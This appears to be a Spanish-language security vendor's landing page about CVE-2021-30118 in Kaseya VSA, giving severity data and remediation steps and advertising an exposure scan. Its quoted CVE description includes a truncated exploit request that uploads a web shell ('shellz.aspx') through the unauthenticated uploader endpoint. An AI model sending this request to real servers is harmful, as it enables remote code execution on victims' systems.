ThreatPort
Iniciar sesión Registrarse
CVE-2021-30118 CRITICAL

Verificación de exposición CVE-2021-30118 para Vsa

Comprueba si activos públicos muestran señales de Kaseya Vsa relacionadas con CVE-2021-30118. Severidad: CRITICAL.

Iniciar escaneo gratis Ver precio de $50

From CVE record to external exposure

An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management (RMM) 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leading to RCE. An attacker can upload files with the privilege of the Web Server process and subsequently use these files to execute asp commands. Detailed description --- Given the following request: ``` POST /SystemTab/uploader.aspx?Filename=shellz.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile=shellz.aspx HTTP/1.1 Host: 192.168.1.194 Cookie: sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length: 12 <%@ Page Language="C#" Debug="true" validateRequest="false" %> <%@ Import names...

Vsa vulnerability debe priorizarse conectando vendor y producto afectados con activos vivos expuestos a Internet, no como un elemento abstracto de feed. ThreatPort se centra en la primera pregunta que hacen los líderes de TI y CISOs con presupuesto limitado: qué puede ver hoy un observador externo, qué tan grave es y qué debe corregirse primero.

Registro de explotación conocida

Uso conocido en campañas de ransomware
No registrado
Probabilidad de explotación EPSS
60.35% (99p)
Puntuación base CVSS
9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Divulgado
2021-07-09
Tipo de debilidad
CWE-434

Fuente: catálogo CISA Known Exploited Vulnerabilities y EPSS de FIRST.org.

Qué comprueba ThreatPort

Identifica servicios públicos que parecen relacionados con Kaseya Vsa.
Mapea tecnologías detectadas con CVE-2021-30118, severidad y prioridad práctica.
Comprueba TLS, DNS, headers, paneles expuestos, endpoints antiguos y fingerprints de servicio desde fuera.
Produce primero una scorecard breve y luego evidencia de pentest IA y reporte PDF.

El resultado es intencionalmente práctico: pistas de propiedad, contexto de riesgo, recomendaciones de remediación y evidencia repetible que puede compartirse con equipos técnicos o dirección. No se presenta como automatización mágica de cumplimiento ni como reemplazo del criterio humano de seguridad.

En esta ruta, ThreatPort trata la intención de búsqueda como un contexto operativo específico y no como una landing genérica. Combina categoría, audiencia, tecnología, industria y región para que el visitante decida rápido si el escaneo es relevante para su entorno.

Perfil de evidencia específico de esta ruta

CVE-2021-30118 affects Kaseya Vsa, a CWE-434 weakness. Disclosed 2021-07-09. This page exists to answer one question: is anything you own externally reachable and running it.

Activos que esta página debe priorizar

Dominios y subdominios Endpoints cloud Portales de clientes Servicios API Registros TLS y DNS Controles de seguridad de correo

Señales que conviene priorizar

Subdominios olvidados
Configuración TLS débil
Servicios de staging abiertos
DMARC sin aplicación
Servicios desactualizados
Tecnologías vinculadas a CVE

Qué revisar primero en este contexto?

Para los equipos que utilizan Kaseya Vsa, el primer paso es validar los activos públicos con relevancia para el negocio, no generar una lista genérica de vulnerabilidades.

Subdominios olvidados
Configuración TLS débil
Servicios de staging abiertos
DMARC sin aplicación

Lista de acciones

  1. Confirma si Vsa está presente en algún dominio, subdominio, API o panel público.
  2. Prioriza exposición CRITICAL solo cuando el servicio afectado sea accesible o crítico para el negocio.
  3. Parchea, deshabilita, aísla o coloca controles compensatorios delante del servicio afectado.
  4. Reescanea después de remediar para capturar evidencia antes/después.

Siguientes correcciones según el contexto

  1. Verificar propiedad de activos expuestos
  2. Cerrar servicios públicos innecesarios
  3. Limpiar registros DNS
  4. Reducir reglas de acceso
  5. Reescanear hallazgos de alta confianza

La evidencia útil para este contexto suele relacionarse con ISO 27001, SOC 2, vendor security reviews. ThreatPort mantiene un lenguaje prudente: es evidencia operativa de seguridad, no una certificación legal ni una garantía de aceptación por parte de auditores.